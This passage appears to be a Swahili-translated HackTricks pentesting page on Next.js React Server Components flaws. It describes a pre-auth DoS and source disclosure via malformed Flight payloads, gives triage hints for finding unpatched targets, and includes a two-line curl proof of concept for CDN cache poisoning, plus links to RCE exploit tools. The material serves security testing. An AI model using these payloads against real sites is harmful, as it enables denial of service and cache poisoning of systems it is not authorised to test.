1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads zinaweza kupeleka RSC resolver katika mzunguko usioisha (pre-auth DoS) au kulazimisha serialization ya compiled Server Function code kwa vitendo vingine. App Router builds ≥13.3 zinaathirika hadi zitakapofanyiwa patch; 15.0.x–16.0.x zinahitaji mistari maalum ya patch kutoka kwa advisory ya upstream. Tumia tena path ya kawaida ya Server Action lakini stream body ya text/x-component yenye marejeleo mabaya ya $. Nyuma ya CDN, connection iliyokwama inaendelea kushikiliwa wazi kwa sababu ya cache timeouts, na hivyo kufanya DoS kuwa ya gharama ndogo.

• Kidokezo la triage: Targets zisizofanyiwa patch hurarudisha 500 na E{"digest" baada ya malformed Flight payloads; builds zilizo patched hurudisha 400/200. Jaribu endpoint yoyote ambayo tayari inastream Flight chunks (angalia headers Next-Action au majibu text/x-component) na replay kwa payload iliyobadilishwa.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – ukosefu wa Vary uliruhusu jibu la Accept: text/x-component kuhifadhiwa kwenye cache na kutumiwa kuwahudumia browsers zinazotarajia HTML. Ombi moja la ku-prime linaweza kubadilisha ukurasa na raw RSC payloads. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Ikiwa jibu la pili linaarudisha JSON Flight data badala ya HTML, route inaweza kuathiriwa kwa cache poisoning. Futa cache baada ya kujaribu.

Marejeo

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.